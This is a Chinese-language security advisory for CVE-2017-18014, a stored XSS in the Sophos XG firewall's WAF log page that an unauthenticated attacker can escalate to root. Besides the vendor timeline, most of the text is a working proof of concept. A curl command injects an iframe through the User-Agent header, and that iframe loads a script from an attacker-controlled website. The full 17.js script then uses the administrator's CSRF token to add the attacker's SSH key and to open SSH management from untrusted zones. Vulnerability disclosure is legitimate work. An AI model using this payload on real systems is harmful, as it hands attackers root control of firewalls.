SSD安全公告-Sophos XG从未经身份验证的存储型XSS漏洞到Root访问

漏洞概要
以下安全公告描述了在Sophos XG 17中发现的一个存储型XSS漏洞,成功利用该漏洞可以获取root访问。
Sophos XG防火墙“全新的控制中心为用户的网络提供前所未有的可视性。可以获得丰富的报告,还可以添加Sophos iView,以便跨多个防火墙进行集中报告。“

漏洞提交者
一位独立的安全研究人员向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
Sophos已被告知这个漏洞,他们的回应是:

  • 12月11日,我们收到并确认您提交的问题
  • 12月12日,我们确认了这个问题,并开始进行修复
  • 12月20日,我们发布了XGv17 MR3的官方修复:https:https://community.sophos.com/products/xg-firewall/b/xg-blog/posts/sfos-17-0-3-mr3-released
  • 12月29日,我们完成了对之前发布的XGv16,v16.5,v17版本的修复
  • 12月31日,我们根据您的要求发布了我们的安全公告:https://community.sophos.com/kb/en-us/128024?elqTrackId=3a6db4656f654d65b352f526d26c6a17&elq=1514ab02d2764e8cb73e6b0bdbe7e7be&elqaid=2739&elqat=1&elqCampaignId=27053

CVE:CVE-2017-18014
漏洞详细信息
未经身份验证的用户可以在webadmin界面中的WAF日志页面(控制中心 – >日志浏览器 – >,在过滤器选项“Web服务器保护”中)中触发存储型XSS漏洞,该漏洞可执行防火墙webadmin 可以执行的任何动作(创建新的用户/ 启用ssh和添加ssh授权密钥等)。
为了触发这个漏洞,我们将演示以下场景:

  • Sophos XG Firewall配置3个区域:Trusted,Untrusted,DMZ
  • WEB服务器被放置在DMZ中
  • 防火墙使用Sophos推荐的默认Web应用防火墙(WAF)保护Web服务器。
  • 来自Untrusted网络的攻击者向DMZ中的Web服务器发送URL请求,造成到脚本注入WAF日志页面
  • 来自Trusted的管理员访问WAF日志页面
  • 没有任何其他交互或警告,脚本向管理用户添加一个SSH授权密钥,并允许来自Untrusted的ssh管理。
  • 攻击者获得完整的root ssh shell

Sophos XG WAF日志页面将执行POST请求中“User-Agent”参数。

漏洞证明
Sophos XG配置:

  • 防火墙接口可信 – 192.168.10.190端口A.
  • 防火墙接口不可信 – 192.168.0.192端口B.
  • 防火墙接口DMZ – 192.168.20.190端口C.

环境

  • Sophos XG Fireweal管理界面在https://192.168.10.190:4444/webconsole/webpages/login.jsp
  • 管理员PC Trusted网络IP:192.168.10.191
  • 在DMZ网络中,“Webserver”可以netcat 192.168.20.191
  • 在Unrusted网络中,攻击者控制网站IP:192.168.0.12

攻击者PC创建一个ssh认证密钥(空密码):

ssh-keygen -t rsa

然后读取pub key – 这个密钥将用于攻击。
请注意,将密钥插入攻击脚本时,必须对密钥的一部分进行编码 – 每个“+”必须替换为“%2B”。
修改17.js脚本(见下面)用你的pub key替换===> INSERT-YOUR-PUB-KEY < === 将主机17.js更改为你的网站。 现在运行follow cURL命令,注入“User-Agent”:

curl “http://WEBSERVER.COM” -H “Host: 192.168.0.192” -H “User-Agent:PERU<i hidden><iframe onload=\”function JS(){var iH = document.getElementsByTagName(‘head’)[0];var my = document.createElement(‘script’);my.type = ‘text/javascript’;my.src = ‘https://www.AttackerControlledWebsite.COM/17.js’;iH.appendChild(my);};JS();\”></iframe></i>peru”
To trigger the attack, from admin PC, go to the log page (Log Viewer > Web Server Protection) and move mouse over the packet details
Connect to  Sophos XG using ssh from attack PC (username is admin):
<u>17.js</u>
var iframe1 = document.createElement('iframe');
iframe1.id = 'peruid';
iframe1.style = 'width:0; height:0; border:0; border:none; vivibility:0';
document.body.appendChild(iframe1);
var iframe2 = document.createElement('iframe');
iframe2.id = 'peruid2';
iframe2.style = 'width:0; height:0; border:0; border:none; vivibility:0';
document.body.appendChild(iframe2);
var url = window.location.href;
var arr = url.split('/');
var IPV = arr[0] + '//' + arr[2];
var arr2 = url.split('=');
var csrf = arr2[2];
var ajax = '{"username":"admin","allowpubkeyauth":"1","sshkey":["===>INSERT-YOUR-PUB-KEY<==="]}';
var param = "csrf="+csrf+"&mode=2501&Event=UPDATE&Entity=PublicKeyAuth&json="+ajax+"&__RequestType=ajax&t=1507131213973";
var xhttp = new XMLHttpRequest();
xhttp.open('POST', IPV+'/webconsole/Controller', true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.onreadystatechange = function() {
if (xhttp.readyState == 4 && xhttp.status == 200) {
     var doc = document.getElementById("peruid").contentWindow.document;
     doc.open();
     doc.write(xhttp.responseText);
     doc.close();
     }
  }
xhttp.send(param);
var ajax2 = '{"localaclid":["LAN#2","LAN#4","LAN#6","LAN#13","LAN#5","LAN#9","LAN#8","LAN#14","LAN#10","LAN#7","LAN#38","LAN#23","LAN#18","WAN#4","WAN#10","WAN#38","DMZ#10","DMZ#38","DMZ#18","VPN#18","WiFi#2","WiFi#4","WiFi#6","WiFi#13","WiFi#5","WiFi#9","WiFi#8","WiFi#14","WiFi#10","WiFi#7","WiFi#38","WiFi#23","WiFi#18"]}';
var param2 = "csrf="+csrf+"&mode=72&json="+ajax2+"&__RequestType=ajax";
var xhttp2 = new XMLHttpRequest();
xhttp2.open('POST', IPV+'/webconsole/Controller', true);
xhttp2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp2.onreadystatechange = function() {
if (xhttp2.readyState == 4 && xhttp.status == 200) {
     var doc = document.getElementById("peruid2").contentWindow.document;
     doc.open();
     doc.write(xhttp2.responseText);
     doc.close();
     }
  }
xhttp2.send(param2);

?

Get in touch